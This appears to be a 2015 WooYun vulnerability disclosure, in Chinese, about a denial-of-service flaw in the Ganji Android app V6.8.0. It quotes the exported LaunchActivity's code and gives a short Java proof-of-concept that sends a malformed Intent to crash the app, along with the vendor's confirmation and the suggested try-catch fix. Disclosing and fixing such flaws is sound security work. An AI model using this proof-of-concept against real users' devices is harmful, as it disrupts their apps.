当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143571

漏洞标题:赶集网Android客户端V6.8.0通用拒绝服务漏洞

相关厂商:赶集网

漏洞作者: 路人甲

提交时间:2015-09-29 15:28

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:拒绝服务

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-29: 细节已通知厂商并且等待厂商处理中
2015-09-29: 厂商已经确认,细节仅向厂商公开
2015-10-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-23: 细节向核心白帽子及相关领域专家公开
2015-12-03: 细节向普通白帽子公开
2015-12-13: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

该漏洞可被竞争对手利用,造成客户端拒绝服务。主要是因为客户端代码未对外部传入的Intent数据做异常处理,导致应用崩溃。

详细说明:

LaunchActivity是客户端启动的第一个activity,该activity对外暴露并且允许从外部接收Intent数据,但未对可能接收到的Intent数据做校验和异常处理。所以,在接收到畸形的Intent数据后,会导致客户端崩溃。问题代码如下:

package com.ganji.android.control;
…………
public void onCreate(Bundle paramBundle)
{
…………
paramBundle = getIntent();
Object localObject = paramBundle.getData();
if (localObject != null)
{
if ((((Uri)localObject).getScheme() != null) && (((Uri)localObject).getScheme().equals("wx4c5690eb66e4e42a")))
{
WeiXinToGanJiLife.b = (Uri)localObject;
WeiXinToGanJiLife.c = Boolean.valueOf(true);
}
}
…………
}

漏洞证明:

漏洞验证代码如下:

public void sendIntentButton(View view){

try {
String packageName = packageNameEditText.getText().toString();
String className = classNameEditText.getText().toString();

packageName = "com.ganji.android";
className = "com.ganji.android.control.LaunchActivity";

Intent attackIntent = new Intent();
attackIntent.setComponent(new ComponentName(packageName, className));
attackIntent.putExtra("error data", new ErrorData());

startActivity(attackIntent);
} catch (Exception e) {
// TODO: handle exception
}
}


效果图:

Screenshot_2015-09-26-12-19-44.jpeg


Screenshot_2015-09-26-12-19-58.jpeg

修复方案:

在对应的问题代码处,添加try catch来处理异常

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-09-29 15:58

厂商回复:

非常感谢白帽子的反馈。

最新状态:

暂无